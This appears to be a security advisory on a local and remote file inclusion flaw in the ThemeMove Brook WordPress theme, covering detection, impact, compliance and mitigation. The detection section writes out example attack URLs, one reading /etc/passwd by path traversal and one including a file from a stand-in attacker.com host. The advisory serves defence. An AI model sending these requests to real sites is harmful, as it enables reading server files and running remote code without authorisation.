Improper File Inclusion in ThemeMove Brook

Executive Summary

This vulnerability is an improper control of the filename used in include or require statements in a PHP program, specifically in the ThemeMove Brook theme. It is a PHP Local File Inclusion (LFI) vulnerability that allows an attacker to include files on the server through the application, potentially leading to unauthorized access or code execution.

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Detection Guidance

This vulnerability is a PHP Remote File Inclusion (RFI) and Local File Inclusion (LFI) issue in the ThemeMove Brook plugin (versions <= 2.9.0). Detection involves checking for vulnerable versions of the plugin and inspecting PHP files for insecure include/require statements.

• Check the installed version of the ThemeMove Brook plugin. If it is version 2.9.0 or earlier, the system is vulnerable.
• Inspect PHP files in the ThemeMove Brook plugin directory for insecure include/require statements that use user-controlled input (e.g., $_GET, $_POST) without proper validation or sanitization.
• Use a web application scanner like OWASP ZAP or Burp Suite to test for RFI/LFI vulnerabilities by sending crafted requests to the application.
• Manually test for LFI by attempting to access local files via input parameters, such as: http://example.com/wp-content/plugins/brook/file.php?page=../../../../etc/passwd.
• For RFI, test if the application allows inclusion of remote files by attempting to include a file from an external server, such as: http://example.com/wp-content/plugins/brook/file.php?page=http://attacker.com/malicious.txt.

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Impact Analysis

The vulnerability can have a significant impact as it allows an attacker to include and execute local files on the server. This can lead to full compromise of confidentiality, integrity, and availability of the affected system, including unauthorized access to sensitive data, modification of data, and disruption of services.

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Compliance Impact

This vulnerability, a PHP Remote File Inclusion (RFI) and Local File Inclusion (LFI), can significantly impact compliance with standards and regulations like GDPR and HIPAA due to its potential to expose sensitive data or allow unauthorized code execution.

• GDPR: If the affected system processes personal data of EU citizens, this vulnerability could lead to unauthorized access or disclosure of such data, violating GDPR's requirements for data protection and confidentiality (Articles 5, 25, and 32). A breach could result in hefty fines and legal consequences.
• HIPAA: For systems handling protected health information (PHI), this vulnerability could enable attackers to access or manipulate sensitive patient data, violating HIPAA's Security Rule (45 CFR Part 164, Subpart C). This may lead to non-compliance penalties and reputational damage.
• Other standards: The vulnerability's high CVSS score (7.5) indicates a severe risk, which may violate requirements in frameworks like ISO 27001, NIST SP 800-53, or PCI DSS, depending on the system's context and data sensitivity.

Organizations using the affected software (ThemeMove Brook <= 2.9.0) should prioritize remediation to avoid compliance violations and potential legal or financial repercussions.

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Mitigation Strategies

To mitigate this vulnerability, follow these immediate steps:

• Update the ThemeMove Brook plugin to the latest version if a patch is available. Since the CVE states the issue affects versions <= 2.9.0, check for updates beyond this version.
• If no patch is available, disable the ThemeMove Brook plugin until a fix is released to prevent exploitation.
• Implement input validation and sanitization for all include/require statements in PHP files to ensure user-controlled input cannot be used to include arbitrary files.
• Restrict file inclusion to a whitelist of allowed files or directories to prevent directory traversal attacks.
• Disable allow_url_include in PHP configuration (php.ini) to prevent remote file inclusion attacks. This can be done by setting: allow_url_include = Off.
• Monitor web server logs for suspicious activity, such as requests containing ../ or external URLs in parameters.
• Consider deploying a web application firewall (WAF) to block RFI/LFI attack patterns.

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